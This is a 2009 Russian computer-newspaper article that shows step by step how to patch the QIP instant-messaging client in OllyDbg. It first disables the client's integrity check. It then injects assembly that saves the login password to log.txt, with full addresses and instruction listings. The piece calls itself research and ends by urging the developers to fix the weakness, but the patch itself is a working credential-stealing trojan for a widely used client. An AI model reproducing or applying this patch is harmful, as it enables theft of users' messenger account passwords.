Кладем QIP на лопатки. Операция "пароль в файл"

IM (Internet Messenger) клиенты очень прочно вошли в нашу жизнь. Что такое "ася", в курсе практически все, даже те, ко и Интернета-то в глаза не видел, знают, что с помощью аси можно общаться :). Ну, собственно родным клиентом эта служба обмена мгновенными сообщениями уже давно не ограничена, есть много вариантов, при этом на любой вкус: QIP, Miranda, Pidgin, которым, к слову, пользуюсь я. Это далеко не все, а если учесть еще и мобильные платформы, то список будет достаточно большим.

Появились у протокола icq и конкуренты, ну а как же без этого :). Например, XMPP, или jabber (так он более известен в массах). Современные клиенты, особенно нейтральных производителей, которые не имеют никакого отношения к сервисам обмена сообщениями, поддерживают практически все известные протоколы – это необходимо для того, чтобы сделать клиент универсальным, а, значит, более востребованным.

Недавно разгребая свои залежи статей, без разбора скачанных из Сети, я наткнулся на интересный материал, а точнее – исследование, которое заключалось в том, чтобы сделать из популярного im клиента QIP шпионскую прогу. В общем, пробежавшись, глазами по материалу, я подумал — "отличная статья" и решил, что многим читателям КГ, особенно любящим поковыряться в коде, это будет интересно. Однако сразу хочу предупредить – то, чем мы сегодня будем заниматься, будет носить исключительно характер исследования. Если у кого-то из вас возникнет мысль сделать что-то плохое, то учтите, что это абсолютно противозаконно и за вами следят :).

Итак, смысл исследования заключается в том, чтобы сделать из qip'а шпиона – это я уже говорил. Каким образом он будет шпионить? Очень просто! Пароль, который вы введете в форму авторизации, будет немедля сохранен в файл. И ваш аккаунт – уже выложен на каком-нибудь форуме в разделе icq халява. Шучу, однако опасность такая все же присутствует (брут никто не отменял =) ).

Не без сюрпризов

Вся операция будет производиться при помощи отладчика OllyDbg. В общем, берем qip, открываем его под отладчиком и вперед. Сразу же нас ждет первый блин, который, естессно, комом. У клиента имеется защита, которая контролирует изменения в исполняемом файле. Чтобы получилось все нагляднее, то попробуйте изменить какую-либо инструкцию на nop, запустите клиент и перед вами будет неприятное сообщение на тему "файл поврежден". Нам, ясно дело, это не нужно, а посему мы должны избавиться от механизма защиты.

А все дело лежит по адресу 068F4BA. Точнее, там имеется процедура проверки PE-файла на целостность, именно она и мешает нам спокойно извращаться над бедным квипом. Чтобы разобраться в работе процедуры, было включено пошаговое выполнение, которое привело нас на вот такой вот участок:
0048023F . 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
00480242 . 807D FB 00 CMP BYTE PTR SS:[EBP-5],0
00480246 74 0F JE SHORT qip_modi.00480257
00480248 E8 B740F8FF CALL qip_modi.00404304

Что проверяет механизм – загадка. Вот тут стоит отдать должное автору оригинала исследований, который нарыл все необходимое методом "научного тыка". Итак, если четыре раза нажать на <shift+F9> во время прерывания на точке останова (которую, кстати, стоит поставить на 00480246), а перед пятым нажатием занопить вызов "CALL 00404304", программа запустится, однако при условии, что после прохода номер пять мы снова восстановим вызов при помощи команды и контекстки "Undo Selection". Выполнение в отладчике довольно просто: меняем вызов на nop после четырех нажатий шифт+F9, потом снова жмем это сочетание, после щелкаем правой клавишей мыши по вызову и выбираем "Undo Selection". Снимаем точку останова и запускаем файл на выполнение.

Теперь стоит вопрос в том, как научить программу считать количество запусков процедуры защиты. Конечно, можно сказать "проще простого" и написать длиннющий код со счетчиками и тому подобным добром :). А можно сделать действительно просто и обойтись меньшим объемом писанины. Во время каждого из вызовов содержимое регистров процессора уникально, а значит, пишем функцию, которая проверяет регистр на соответствие определенному значению. И когда значение совпадает, вырубаем защиту =).

Автор исследования воспользовался регистром EBX, в принципе, можно использовать любой другой. Его значение было равно 0064ED7C. Писать код будем начиная с адреса 0068F857. А вызов функции, располагающийся по адресу 00480248, меняем на безусловный переход к нашему засланному диверсанту :).
00480248 jmp 0068f857

Обратите внимание, что следующая инструкция располагается по адресу 0048024D – это пригодится еще. Ну и наш диверсант, собственно:

0068F857 CMP EBX,0064ED7C; сравниваем содержимое ebx со значением, которое должно содержаться в нем перед пятым вызовом защитной функции. 0068F85D JNZ 0068F864; если содержимое регистра не равно 0064ED7C, выполняем переход...
0068F85F JMP 0048024D; ...иначе - не выполняем функцию (передаем управление qip.exe).
0068F864 PUSH 0048024D; кладем в стек адрес возврата из функции...
0068F869 JMP 00404304; ...и выполняем эту функцию.

Вот и все, теперь мы можем без проблем делать все что душе угодно с клиентом :).

Немного об исполнителе

Возвращаемся к задаче записать пароль в файл при заполнении формы авторизации. Прямой путь нам в MSDN. Необходимо будет использовать две функции: создающую файл и записывающую в него информацию. Для создания файла воспользуемся функцией CreateFileW, ее параметры приведены ниже в том порядке, в котором они будут помещены нами в стек (т.е. в обратном):

hTemplateFile: файл-шаблон, атрибуты которого будут использоваться для открытия.
Attributes - атрибуты и флаги для открытия файла.
Mode; режим открытия файла.
pSecurity; атрибуты безопасности.
ShareMode; режим совместного доступа.
Access; тип доступа к файлу.
FileName; имя файла.

Некоторые параметры можно будет и обнулить, но об этом позже. Для записи информации в файл воспользуемся функцией WriteFile, ее прототип:
BOOL WINAPI WriteFile(
__in HANDLE hFile,
__in LPCVOID lpBuffer,
__in DWORD nNumberOfBytesToWrite,
__out_opt LPDWORD lpNumberOfBytesWritten,
__inout_opt LPOVERLAPPED lpOverlapped
);

И параметры:

hFile – дескриптор файла.
Buffer – буфер, из которого будут записаны данные.
nNumberOfBytesToRead – количество записываемых данных.
lpNumberOfBytesRead – количество фактически записанных данных.
lpOverlapped – указатель на структуру типа OVERLAPPED (обнуляем).

Код наш будет располагаться по адресу 0068F86E. При нажатии кнопки "Подключиться" выполняется определенный код, после выполнения которого пароль находится в стеке по адресу [ebp-8]:

00649A01 CALL qip.004678B4
00649A06 CMP DWORD PTR SS:[EBP-8],0
00649A0A JE SHORT 0649A2F

Код, расположенный после CALL, проверяет наличие символов в поле для ввода пароля, там используется пара инструкций (cmp и je). Они не нужны нам и поэтому заменим их на переход к нашему коду:

00649A01 CALL qip_modi.004678B4
00649A06 JMP 0068F86E
00649A0B NOP

Процесс

Для наглядности исследование в оригинале было разбито на три этапа. Я, пожалуй, сделаю также, это удобно и более конкретизировано. Мы же переходим к адресу 0068F86E и начинаем трудиться над кодом.

1. Нам необходимо передать параметры для функции CreateFileW в стек и вызвать ее. Вызванная API возвратит в EAX хэндл открытого файла.
0068F86E > 6A 00 PUSH 0 ; /hTemplateFile = NULL
0068F870 . 68 80000000 PUSH 80 ; |Attributes = NORMAL
0068F875 . 6A 04 PUSH 4 ; |Mode = OPEN_ALWAYS
0068F877 . 6A 00 PUSH 0 ; |pSecurity = NULL
0068F879 . 6A 03 PUSH 3 ; |ShareMode = FILE_SHARE_READ|FILE_SHARE_WRITE
0068F87B . 68 000000C0 PUSH C0000000 ; |Access = GENERIC_READ|GENERIC_WRITE
0068F880 . 68 A7F86800 PUSH qip_modi.0068F8A7 ; |FileName = "log.txt"
0068F885 . E8 D60E187C CALL kernel32.CreateFileW ; \CreateFileW

2. В стек положим содержимое регистра EAX в качестве параметра для функции закрытия файла CloseHandle, которая будет использована в конце грязных делишек.

3. Заключительная фаза включает в себя передачу в стек для функции WriteFile параметров и вызов функции. Однако присутствует нюанс, который не позволит нам использовать стек в качестве буфера – ее вызов затирает часть данных, находящихся в нем. Поэтому вместо буфера у нас будет часть секции кода, которая начинается с 0068F8EB. Но так как секция кода защищена от записи, придется вызвать функцию VirtualProtect с параметром NewProtect = PAGE_EXECUTE_READWRITE. Вызов VirtualProtect, с передачей параметров, разместим по адресу 0068F8B7 (предварительно сохранив регистры при помощи PUSHAD). После чего при помощи набора инструкций MOV скопируем пароль, расположенный в стеке, в наш буфер - по адресу 0068F8EB. Вот такой вот вид все это имеет на выходе:

; передаем параметры для WriteFile и вызываем ее:
0068F88B PUSH 0 ; |/pOverlapped = NULL
0068F88D PUSH EBP ; ||pBytesWritten
0068F88E PUSH 10 ; ||nBytesToWrite = 10 (16.)
0068F890 PUSH qip_modi.0068F8EB; ||Buffer = qip_modi.0068F8EB
0068F895 PUSH EAX ; ||hFile
0068F896 CALL kernel32.WriteFile ; |\WriteFile
; вызываем CloseHandle для закрытия файла, хэндл файла мы передали выше при помощи инструкции "PUSH EAX", расположенной по адресу 0068F88A: 0068F89B CALL CloseHandle
; Восстанавливаем регистры, которые сохраним до вызова VirtualProtect чуть ниже:
0068F8A0 POPAD
; Переходим к коду qip.exe
0068F8A1 JMP qip_modi.00649A0B
; имя файла, которое использует функция CreateFileW:
0068F8A6 NOP
0068F8A7 UNICODE "log.txt",0
; сохраним регистры в стек:
0068F8B7 PUSHAD
; передадим необходимые параметры функции VirtualProtect и вызовем ее:
0068F8B8 PUSH 32F7D0 ; /pOldProtect = 0032F7D0
0068F8BD PUSH 40 ; |NewProtect = PAGE_EXECUTE_READWRITE
0068F8BF PUSH 0FF ; |Size = FF (255.)
0068F8C4 PUSH qip_modi.0068F8EB ; |Address = qip_modi.0068F8DD
0068F8C9 CALL kernel32.VirtualProtect ; \VirtualProtect
; В два подхода переместим восьмибайтовый пароль в новый буфер, начинающийся с адреса 0068F8EB:
; первый подход - забираем 4 байта...:
0068F8CE MOV ECX,DWORD PTR DS:[EBP-8]
0068F8D2 MOV EDX,DWORD PTR DS:[ECX]
0068F8D4 MOV ECX,qip_modi.0068F8EB
0068F8D9 MOV DWORD PTR DS:[ECX],EDX

;...и второй - забираем оставшиеся 4 байта:
0068F8DB MOV ECX,DWORD PTR DS:[EBP-8]
0068F8DF MOV EDX,DWORD PTR DS:[ECX+4]
0068F8E2 MOV ECX,qip_modi.0068F8EF
0068F8E7 MOV DWORD PTR DS:[ECX],EDX
; передаем управление чуть выше - в начало написанного нами кода, который создаст и сохранит лог-файл:
0068F8E9 JMP SHORT qip_modi.0068F86E

Ситуация немного изменилась. Раньше мы планировали передавать управление на наш код следующим образом:
00649A06 JMP 0068F86E

Теперь это невозможно, так как нам пришлось использовать дополнительный код в виде вызова VirtualProtect, который должен непременно выполняться раньше остального кода. Так что переходим к адресу 0068F8E9 и меняем расположенный там переход на:
00649A06 JMP 0068F8B7

Вот и все :). В итоге создается файл, куда в результате работы всего написанного выше кладется пароль к аккаунту, запускаемому с данного клиента.

Exit

Что можно еще сказать… приятного мало. Только что я рассказал, как без особого напряжения украсть пароль к аккаунту icq, если немного модифицировать клиент qip, который в последнее время приобрел просто гиперпопулярность. Хотелось бы обратиться к разработчикам и настоятельно порекомендовать поправить косяк, хотя это и до меня уже сделали.

Вам же, фанаты ИТ, хочу сказать, что ошибочно полагать, что какой-либо другой клиент безопаснее qip'а, неизвестно, какие баги найдутся там завтра. Могу лишь посоветовать обзавестись небольшой долей параноидальности и тогда все будет не так уж и плохо =).

Respect: Леонид Cr@wаler Исупов

Евгений Кучук, q@sa-sec.org.


Компьютерная газета. Статья была опубликована в номере 19 за 2009 год в рубрике безопасность

©1997-2024 Компьютерная газета